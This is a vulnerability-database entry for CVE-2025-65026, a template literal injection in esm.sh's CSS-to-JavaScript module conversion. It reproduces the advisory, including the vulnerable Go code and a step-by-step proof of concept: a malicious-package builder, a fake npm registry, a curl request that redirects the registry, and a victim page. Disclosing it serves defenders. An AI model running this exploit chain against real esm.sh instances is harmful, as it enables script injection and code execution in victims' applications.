FlawAtlas
Search the atlas
CVE-2025-65026 Moderate

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh

Exploit probability 0.5%
Published November 25, 2025
Required by Not available
Last source change March 3, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

99 explicit affected versions

Go github.com/esm-dev/esm.sh
Go github.com/esm-dev/esm.sh

03 / CONNECTIONS

Connected vulnerabilities

related OPENSUSE-SU-2026:21483-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2025-65026

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.

View original source
Open Source Vulnerabilities GO-2025-4139

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh

View original source
Open Source Vulnerabilities GHSA-hcpf-qv9m-vfgp

### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. **Root Cause:** The CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string. ### Details **File:** `server/router.go` **Lines:** 1112-1119 ```go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/* esm.sh - css module */\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '`') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(`") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(`") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString("`);\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } ``` When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. Template literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code. ### PoC ### Step 1. Create Malicious Package (tar) ```python import tarfile import io import json from datetime import datetime # Malicious CSS with template literal injection evil_css = b""" body { background-color: #ffffff; color: #333333; } .container { max-width: 1200px; margin: 0 auto; } /* js payload */ ${alert(1)} /* More CSS to appear legitimate */ .footer { margin-top: 20px; padding: 10px; } """ files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evil_css, } with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content)) print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz") ``` ### Step 2. Run Fake Registry Server ```python # fake-npm-registry.py from flask import Flask, jsonify, send_file app = Flask(__name__) MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER @app.route('/<package>') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} }) @app.route('/<package>/-/<filename>') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip') if __name__ == '__main__': app.run(host='0.0.0.0', port=9999) ``` ```bash python3 fake-npm-registry.py ``` > Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.) ### Step 3. Request Malicious Package with X-Npmrc Header (File Upload) ```bash curl "http://localhost:8080/[email protected]" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}' ``` ### Step 4. Check Cross-site Script (alert(1)) ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/[email protected]/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> ``` <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" /> ### in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" /> ### Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

View original source

05 / REFERENCES

Further evidence